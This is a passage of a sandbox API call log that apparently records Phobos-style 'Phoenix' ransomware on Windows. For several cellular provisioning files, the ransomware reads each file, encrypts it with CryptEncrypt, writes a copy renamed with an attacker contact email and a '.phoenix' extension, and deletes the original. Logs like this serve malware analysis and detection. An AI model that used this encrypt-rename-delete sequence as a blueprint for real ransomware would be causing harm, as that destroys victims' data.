	[0247.771] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\331__connections_cellular_orange (poland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.772] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0247.772] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.772] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x34d, lpOverlapped=0x0) returned 1
	[0247.783] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0247.783] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0247.784] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0247.784] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.784] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.784] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0247.784] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.784] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.784] CloseHandle (hObject=0x2d4) returned 1
	[0247.784] CloseHandle (hObject=0x2c8) returned 1
	[0247.785] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\331__Connections_Cellular_Orange (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\331__connections_cellular_orange (poland)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.786] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.786] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\332__connections_cellular_play (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.792] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=841) returned 1
	[0247.792] CloseHandle (hObject=0x2b0) returned 1
	[0247.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\332__connections_cellular_play (poland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\332__connections_cellular_play (poland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.793] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\332__connections_cellular_play (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.793] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.793] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.793] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\332__connections_cellular_play (poland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.793] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0247.794] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.794] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x349, lpOverlapped=0x0) returned 1
	[0247.802] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0247.802] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0247.803] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0247.803] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.803] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0247.803] CryptDestroyKey (hKey=0x151140) returned 1
	[0247.803] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0247.803] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0247.803] CloseHandle (hObject=0x2b0) returned 1
	[0247.803] CloseHandle (hObject=0x2c8) returned 1
	[0247.803] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\332__Connections_Cellular_PLAY (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\332__connections_cellular_play (poland)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.804] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.804] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\333__connections_cellular_pl-plus (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.804] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=844) returned 1
	[0247.805] CloseHandle (hObject=0x2c8) returned 1
	[0247.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\333__connections_cellular_pl-plus (poland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\333__connections_cellular_pl-plus (poland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.805] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\333__connections_cellular_pl-plus (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.806] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.806] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.806] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\333__connections_cellular_pl-plus (poland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.806] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0247.806] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.806] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x34c, lpOverlapped=0x0) returned 1
	[0247.811] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0247.811] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0247.812] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0247.812] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.812] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.812] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.812] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.813] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0247.813] CloseHandle (hObject=0x2c8) returned 1
	[0247.813] CloseHandle (hObject=0x2b0) returned 1
	[0247.813] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\333__connections_cellular_pl-plus (poland)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.814] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.814] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\334__connections_cellular_t-mobile poland (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.814] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=713) returned 1
	[0247.814] CloseHandle (hObject=0x2b0) returned 1
	[0247.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\334__connections_cellular_t-mobile poland (poland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\334__connections_cellular_t-mobile poland (poland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.815] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\334__connections_cellular_t-mobile poland (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.815] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.815] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.815] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\334__connections_cellular_t-mobile poland (poland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.816] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151700) returned 1
	[0247.816] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.816] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c9, lpOverlapped=0x0) returned 1
	[0247.817] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0247.817] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.818] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0247.818] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.818] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0247.818] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.818] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0247.818] CryptDestroyKey (hKey=0x151700) returned 1
	[0247.818] CloseHandle (hObject=0x2b0) returned 1
	[0247.818] CloseHandle (hObject=0x2c8) returned 1
	[0247.818] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\334__connections_cellular_t-mobile poland (poland)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.858] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.858] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\335__connections_cellular_optimus (portugal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.883] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=711) returned 1
	[0247.883] CloseHandle (hObject=0x2e8) returned 1
	[0247.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\335__connections_cellular_optimus (portugal)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\335__connections_cellular_optimus (portugal)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.883] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\335__connections_cellular_optimus (portugal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.884] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.884] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.884] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\335__connections_cellular_optimus (portugal)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.884] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0247.884] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.884] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c7, lpOverlapped=0x0) returned 1
	[0247.885] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0247.885] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.886] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0247.886] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.886] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
